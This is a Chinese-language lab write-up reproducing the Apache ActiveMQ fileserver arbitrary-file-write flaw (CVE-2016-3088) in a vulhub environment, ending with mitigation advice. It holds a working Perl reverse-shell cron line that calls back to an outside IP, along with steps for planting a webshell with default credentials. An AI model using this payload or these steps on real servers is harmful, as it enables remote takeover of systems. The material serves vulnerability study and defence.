漏洞原理
Apache ActiveMQ是Apache軟件基金會所研發的開放源代碼消息中間件,由于ActiveMQ是一個純Java程序,因此只需要操作系統支持Java虛擬機,ActiveMQ便可執行
本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp)(PUT請求),同時支持移動文件(MOVE請求),所以我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞
ActiveMQ的web控制臺分為三個應用
需要登錄后使用:
- admin,管理員頁面
- api,接口
無需登錄即可使用:
- fileserver,儲存文件的接口
fileserver是一個 RESTful API 接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:
- 其使用率并不高
- 文件操作容易出現漏洞
所以,ActiveMQ進行了以下改動
- 在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(可以在
conf/jetty.xml
中開啟之) - 在5.14.0版本以后,徹底刪除了fileserver應用
在測試過程中,可以關注ActiveMQ的版本,避免走彎路
影響版本
Apache ActiveMQ:version < 5.14.0
漏洞復現
一、環境搭建
vulhub已有環境,可以通過vulhub進行復現
git clone https://github.com/vulhub/vulhub.git
- 進入到漏洞目錄下
cd /path/to/vulhub/activemq/CVE-2016-3088
- 執行命令啟動復現環境
docker compose build
docker compose up -d
環境監聽61616端口和8161端口,其中8161為web控制臺端口,本漏洞就出現在web控制臺中
訪問http://your-ip:8161/看到web頁面,說明環境已成功運行
二、漏洞復現
利用方式一:寫入webshell
(一) 弱口令登陸
點擊Manage ActiveMQ broker
,輸入默認的弱口令admin/admin登錄
訪問/admin/test/systemProperties.jsp
下可以看到測試環境和web框架的頁面,能看到很多信息
(二) 上傳webshell
抓包進行修改,PUT方法進行任意文件上傳,這里我們上傳一個哥斯拉的Shell到fileserver路徑下
返回狀態碼204,成功上傳
訪問上傳文件查看是否上傳成功
(三) MOVE到可執行路徑下
由于上傳的是文本文件并不能被服務器解析,所以我們下一步要利用MOVE方法將上傳的webshell移動到可以執行的目錄
可以解析jsp文件的路徑有:
/opt/activemq/webapps/api
/opt/activemq/webapps/admin
這里我們把它上傳到/opt/activemq/webapps/admin
路徑下
哥斯拉嘗試連Shell,注意需要加上Authorization
標頭
成功連上Shell
利用方式二:利用cron反彈shell
權限要求:運行ActiveMQ的用戶需具備root權限(否則無法寫入/etc/cron.d/
)
(一) 上傳cron配置文件
返回204,說明寫入成功
*/1 * * * * root perl -e 'use Socket;$i="172.21.39.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh");}'
這里反彈shell使用perl,用bash有點問題
注意一定要換行,而換行一定要\n(LF),不能是\r\n(CRLF),否則crontab執行會失敗
(二) MOVE到/etc/cron.d目錄下
返回204,說明移動成功,接下來就是等待反彈shell
519415381f3d為docker容器的主機名,成功連上shell
漏洞原理深入分析
具體代碼分析可以看這篇,本文主要參考的也是這篇文章
Vulhub漏洞系列:ActiveMQ任意文件寫入漏洞分析-騰訊云開發者社區-騰訊云
利用姿勢
- 寫入webshell
-
- 優點:門檻低更方便
- 缺點:fileserver不解析jsp,admin和api兩個應用都需要登錄才能訪問
- 寫入cron或ssh key等文件
-
- 優點:直接反彈拿shell,比較方便
- 缺點:需要root權限
- 寫入jar或jetty.xml等庫和配置文件
-
- 需要知道activemq的絕對路徑
本文僅演示了寫入webshell和利用cron反彈shell,其他利用方式可以自己嘗試
理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉,然后再寫入webshell
有的情況下,jetty.xml和jar的所有人是web容器的用戶,所以相比起來,寫入crontab成功率更高一點
防御措施
- 升級:使用ActiveMQ ≥5.14.0(徹底移除fileserver)
- 禁用fileserver:在conf/jetty.xml中注釋或刪除fileserver配置(適用于5.12.x~5.13.x)
- 降權運行:禁止以root用戶運行ActiveMQ,限制寫入敏感目錄的能力